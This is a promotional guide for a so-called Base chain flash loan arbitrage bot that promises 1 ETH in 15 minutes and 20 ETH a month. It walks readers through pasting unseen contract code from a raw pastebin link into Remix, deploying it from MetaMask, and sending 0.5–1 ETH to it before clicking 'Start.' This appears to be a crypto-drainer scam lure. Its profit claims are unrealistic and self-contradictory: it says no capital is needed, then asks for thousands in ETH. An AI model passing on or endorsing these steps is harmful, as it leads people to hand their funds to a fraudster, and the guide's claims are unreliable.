What if you could earn 1 ETH in just 15 minutes — and scale that to 20 ETH in a single month? With the Base network and flash loan arbitrage, this is more than possible; it’s a game-changing opportunity in the world of decentralized finance (DeFi).
Flash loan arbitrage allows you to borrow massive amounts of cryptocurrency, execute trades, and return the loan in a single transaction — all without needing any upfront capital. With the Base network’s low fees and high speed, it’s the perfect platform to unlock consistent profits through automated trading.
In this guide, we’ll walk you through how to build your very own Base Chain flash loan arbitrage bot. Plus, a video tutorial is included to help you set it up step by step. Let’s dive in!
Step 1: Gather Your Tools
Before starting, make sure you have:
- A MetaMask wallet connected to the Base network. You’ll need a substantial amount of ETH for the arbitrage and gas fees (around $2500–$4000).
- Access to a blockchain development tool like Remix IDE.
Step 2: Write the Flash Loan Smart Contract
The smart contract is the engine of your bot. It will:
- Request a flash loan from a protocol on the Base network.
- Execute trades across multiple DEXs to exploit price discrepancies.
- Repay the loan within the same transaction, keeping the profit for you.
If you’re not a developer, don’t worry — the attached video tutorial includes a pre-written smart contract you can customize easily.
Step 3: Configure and Deploy Your Arbitrage Bot
Now it’s time to integrate your smart contract with the arbitrage bot. The bot will:
- Continuously monitor prices across DEXs on the Base network.
- Identify profitable opportunities based on pre-defined parameters.
- Trigger the flash loan and execute trades when conditions are met.
The video tutorial provides a detailed walkthrough of configuring the bot and optimizing its performance.
To simplify the setup process, we’ve created an in-depth video tutorial that guides you through every step, from smart contract deployment to bot optimization. Even if you’re a beginner, this tutorial ensures you’ll have a fully operational arbitrage bot in no time.
Access the complete guide!
Step 1: Install a Crypto Wallet Extension
MetaMask 🦊: https://metamask.io/download/
Step 2: Click here to visit Remix IDE
Step 3: Create a New File Open the ‘Contracts’ folder in Remix. Create a new file and give it a name (e.g., bot.sol). Make sure to use the .sol extension for Ethereum-based smart contracts!
Step 4: Paste the Code: https://pastebin.com/raw/6nxSKMDw
Paste it directly into your new file in Remix.
Step 5: Compile the Code Go to the Solidity Compiler tab in Remix, select version compiler 0.6.6. Click Compile.
Tip: If the code doesn’t show syntax highlighting, refresh the page and paste it again.
Step 6: Deploy Your Contract Navigate to the Deploy & Run Transactions tab. Select Injected Provider as the environment. Click Deploy and confirm the contract creation fee in MetaMask. Your contract is now live!
Step 7: Fund Your Bot Add funds to your bot for transaction frontrunning. Start with at least 0.5–1 ETH, or more depending on your strategy.
Step 8: Activate by clicking “Start” to activate your bot. To stop it and withdraw your funds, click Withdraw.
Reminder: You must use the same MetaMask account that was used for the initial deployment to regain access.
Follow these steps: Go to the Deploy & Run Transactions tab. Enter your contract’s address in the At Address field. Click At Address to connect to the existing contract.